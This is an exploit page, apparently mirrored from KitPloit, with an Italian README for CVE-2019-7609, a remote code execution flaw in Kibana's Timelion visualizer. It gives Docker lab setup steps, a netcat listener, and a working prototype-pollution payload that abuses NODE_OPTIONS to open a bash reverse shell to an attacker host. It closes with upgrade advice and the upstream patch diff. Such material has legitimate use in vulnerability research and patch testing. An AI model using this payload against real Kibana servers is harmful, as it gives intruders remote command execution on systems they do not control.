Sploitus

Exploit for CVE-2019-7609

kitploit · 2026-08-29

Exploit Code

MARKDOWN84 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HEKADAN-CVE-2019-7609
# CVE-2019-7609 (Kibana)

Vulnerabilità di esecuzione remota di codice dovuta a un difetto nel visualizzatore Timelion di Kibana

## Configurazione dell'ambiente (docker)

  1. Eseguire il file docker-compose.yml allegato.



root@kitploit:~
    
    
    docker-comopse up -d
    

  2. Accedere a `http://127.0.0.1:5601` nel browser.



## Exploit

  1. Preparare una reverse shell.



root@kitploit:~
    
    
    $ nc -lvp 6666
    

  2. Nella schermata Timelion di Kibana, inserire il payload e fare clic su Esegui.



root@kitploit:~
    
    
    .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/<IP_SERVER_ATTACCANTE>/6666 0>&1");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
    
    

  2. Fare clic su Canvas nel pannello di sinistra.
  3. La connessione reverse shell viene effettuata dal server Kibana :)



![payload](https://assets.kitploit.com/production/public/readmes/26426/aae33a99d08f155f70c395f4d76620b5df957603ba9784e1b050f252c77385b5.png) ![reverse-shell](https://assets.kitploit.com/production/public/readmes/26426/db0010ae6c44c9be84706d40d26015c7c4ae9face86d9e43c35e43db0459f525.png)

## Patch

Aggiornare Kibana alla versione 6.6.1 o 5.6.15 o successive.

### Codice sorgente modificato

https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch

root@kitploit:~
    
    
    From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
    From: ppisljar <some-email@example.com>
    Date: Wed, 16 Jan 2019 06:01:20 -0800
    Subject: [PATCH] fixes
    
    ---
     .../core_plugins/timelion/server/series_functions/props.js      | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
    index 81b74901d4db..80e9cafd6712 100644
    --- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
    +++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
    @@ -32,7 +32,7 @@ function unflatten(data) {
         let prop = '';
         let m;
         while (m = regex.exec(p)) {
    -      cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
    +      cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
           prop = m[2] || m[1];
         }
         cur[prop] = data[p];